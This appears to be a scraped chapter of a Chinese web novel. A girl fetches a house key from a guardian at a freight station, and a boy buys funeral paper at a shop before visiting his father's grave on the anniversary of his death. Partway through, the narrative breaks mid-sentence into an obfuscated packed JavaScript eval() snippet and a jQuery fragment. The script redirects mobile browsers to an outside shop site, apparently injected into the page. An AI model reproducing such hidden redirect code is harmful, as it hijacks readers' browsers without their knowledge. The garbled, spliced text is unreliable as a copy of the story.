没找到许润，程槐清去了趟男生宿舍，顶着宿舍阿姨审视的目光打听他的消息。
意料之中的，许润不在宿舍，可能回了家，也可能去了别处。
程槐清没有马上给林江海打电话，她先回了趟家。
毕竟寄人篱下，她不想把和许润关系不好的事弄得人尽皆知。
下车的时候天已经完全黑了，刮很大的风，云很厚，看不到星星，好像要下雨。
可能是假期将近，小区门口比白天热闹很多，堵了各种小摊，还有泡泡水卖。
程槐清穿过拥挤的人群和吃完晚饭出来消食的邻居，进了自家安静的楼洞。
她走到家门口，抬手敲门。
一声，两声，三声。
没有人来开，里面甚至一点声音也没有。
许润没有回来。
程槐清失望地在门口站了会，在选择等许润回来和打林江海电话中间犹豫，最后拿出了手机。
“喂？清清？”林江海接通了电话。
“我没有拿到钥匙。”程槐清直奔主题。
“没拿到钥匙？”林江海问了一句，语气说不上很惊讶。
“嗯。”
林江海沉默了，听筒里只剩下卡车发动机嘈杂的响声。
“那你来找我吧。”林江海说，“打车过来，给司机说三江货运站，我在门口等你。”
“好。”程槐清挂掉了电话。
从楼洞出来的时候，外面的风更大了，她裹紧了身上的校服，到马路边拦车。
运气还不错，没一会她就打到了车。
“去哪？”司机问。
程槐清：“三江货运站。”
司机“嘶”了一声，扭过头，“那地有点远呐。”
程槐清静静看着他，等着他的下一句话。
“五十。”他说。
“打表。”程槐清伸手抓住门把手，像是准备下车。
“打表，打表也差不多。”司机嘀咕了一句。
程槐清没说话，放在门把手上的手也没有松开。
“行行行。”司机看一眼她的手，转回去，发动车子，““真是怕了你们这些小孩了。”
“你去那做什么？”司机问。
程槐清没说话，沉默地看着窗外。
见她不搭话，司机也就没再问，伸手调大了音乐的音量。
在凤凰传奇高亢的歌声里，程槐清面无表情地攥紧了裤兜里的钱。
许敏虹每周给她四十块，除去每天坐车的四块，剩下的是她的早餐钱。
程槐清从不吃早餐，钱就被省了下来，以防突然要用钱的时候拿不出来，还得跟家里要。
她很清楚自己不是亲生的孩子，所以跟家里要钱心里总有负担。
这个月，除去平时买文具的钱，她攒了六十几块，现在看来，估计还不够打车回来的。
早知道，和许润打电话那会好说歹说也要让他能多等一会，不过，郑悦会突然晕倒谁又能算的准呢。
只怪她运气不好。
车在三江货运站门口停下，打表一共三十六。
看见程槐清拿出一把全是五块和一块的毛票时，司机不高兴的表情明显僵了一下。
程槐清没什么表情，倒是暗地因为比预期低的车费悄悄松了口气。
下车走到货运站门口，她看见林江海站在保安亭窗户旁和里面的人聊天。
那么冷的天，他穿红汗衫牛仔裤，头发有点黄，仔细看才发现是木屑和泥沙，晒得黑黢黢的肩膀和胳膊都有红印子，大概刚搬完东西出来。
程槐清想喊他，但看到旁边有人又收住了。
她叫他“林叔叔”，别人问起来，不知道该怎么解释。
林江海也看见了她，跑过来，塞给她一把瓜子。
“远吧，”他说，“坐车都坐累了。”
“还好。”程槐清接过瓜子，目光飘向他脏兮兮的头发，想到一会得跟他要车费，就觉得难以启齿。
“给。”林江海从裤兜里摸出一把钥匙，“拿好别弄丢了。”
程槐清接过钥匙，低头看着脚下散发着冷光的水泥地，不知该怎么开口要钱。
“对了。”林江海又从裤兜里摸出一叠钱，抽出一张红色的塞给她。
“拿着，”他说：“拿去打车。”
他没有问她刚才怎么付的车费。
“用不了这么多，这太多了。”程槐清看清他塞过来的面额，赶紧又塞回去。
“剩下的你留着买糖吃。”林江海的黑脸笑起来。
“太多了。”程槐清依旧不放弃。
林江海不收，抬头看一眼天，拍了拍她的肩膀，“别犟了，快回去吧，天不早了。”
程槐清咬咬嘴唇，终于还是把钱收下了。
“那我走了。”她说。
林江海点点头，突然又“诶”了一声。
程槐清看他。
“今天的事你别怪小润，”他笑容收敛，表情凝重许多，“今天是他爸的忌日，他心里不好过。”
许润的爸爸也去世了？
程槐清愣怔地看着林江海，沉吟片刻，缓慢开口：“我不怪他。”
“那就好。”林江海欣慰地笑笑，轻轻拍了一下她的肩膀，“快回去吧，我也得走了。”
程槐清站在原地看着林江海的背影，直到他拐弯消失。她捏了捏他给的那一百块钱，皱了下鼻子，细小的水珠滴在她眼皮上，凉丝丝的。
下雨了。
许润骑车一小时，从学校骑到城市边缘的工业区。
他在居民区的一条巷子口停下，推着车走了进去。
这是这块唯一的商业街，卖什么的都有，包揽了周围住户的衣食住行。
路过一家手机店，又路过几家饭馆，许润进了一家卖丧葬用品的店。
这家店的老板早年在厂里上班出意外伤了条腿，周围的人都叫他张瘸子。
张瘸子
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17913179|213212||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
拿了厂里的赔偿，开了这家店。
这种店除去一年里那几个特殊的日子，三百六十五天有三百六十天都没什么人，对他来说倒很合适。
许润进店的时候，张瘸子正坐在电视前面一边嗑瓜子一边看里面的人打麻将。
许润喊了声，“张叔。”张瘸子这才注意到店里来了人。
他瓜子壳随手往地上一丢，拍拍手，站起来，看见许润立刻就笑了：“是小润啊，你都长这么高了？”
“嗯，”许润嘴上应着他，眼睛却在看地上堆着的纸钱，“我来买点纸钱。”
“就知道你会来。”张瘸子从柜台边扯了个红色的塑料袋，舔了舔食指，把袋子搓开，然后晃晃悠悠地走到纸钱旁蹲下，往里面装了两把黄纸。
“你妈早些时候来过，”他一边装，一边说：“我看她来，就猜到你今天肯定也要来。”
许润没说话，眼睛看向别处，瞟到柜台上摆着好多纸制品：有手机，房子，车子，钢琴……
忽然，他的视线停在了一个粉色的纸裙子上。
他盯着那纸裙子看了一会，张瘸子恰好称好了纸钱。
“六块钱。”张瘸子摇摇晃晃地走到柜台前，把袋子递给许润。
许润接过袋子，抬手指了指柜台上的纸裙子，问他：“这个多少钱？”
张瘸子回头看了眼，“十块。”
“拿一个。”许润低头拿钱。
“你要买这个？”张瘸子一脸奇怪地看着他，“你不是给你爸烧纸吗？”
许润“嗯”了声，也没解释。
好在张瘸子也不是什么好事多嘴的人，看他不愿意说，也就不问了，转身进柜台帮他拿纸裙子。
这时候从外面又进来个人，是个胖胖的女人，女人一进来就哑着嗓子喊：“老张，给我装把香。”
张瘸子问：“胖姨，你嗓子怎么了。”
叫胖姨那人砸砸嘴，说：“感冒了，这两天的天气神一阵鬼一阵的，昨天穿少了出去吹了点风，回家就感冒了。”
张瘸子点点头，“这两天感冒的人是多。”
说着，他像是想起了什么，看向一旁沉默的许润，“今天你妈来的时候就特别咳。”
许润没什么反应，他接过张瘸子递来的塑料袋，把钱给他，说：“张叔你先忙，我走了。”
张瘸子“哎”了一声，转身给胖姨拿香去了。
许润拎着纸钱，推着车离开了商业街，往厂区方向的山上走。
这是一片坟山，厂里很多老人去世以后都埋在这。
许润把车锁在山底下一个桥墩上，从书包里掏出把手电筒，摸黑上了山。
爬到半山腰，跨过几座杂草丛生的老坟，他走到一个明显有人清理过的新坟面前。
手电筒白晃晃的冷光，照亮了满地的纸灰。
许润弯腰捡起一角未燃尽纸片放在手电筒下看了看。
上面密密麻麻全是字，是一张手抄的经文。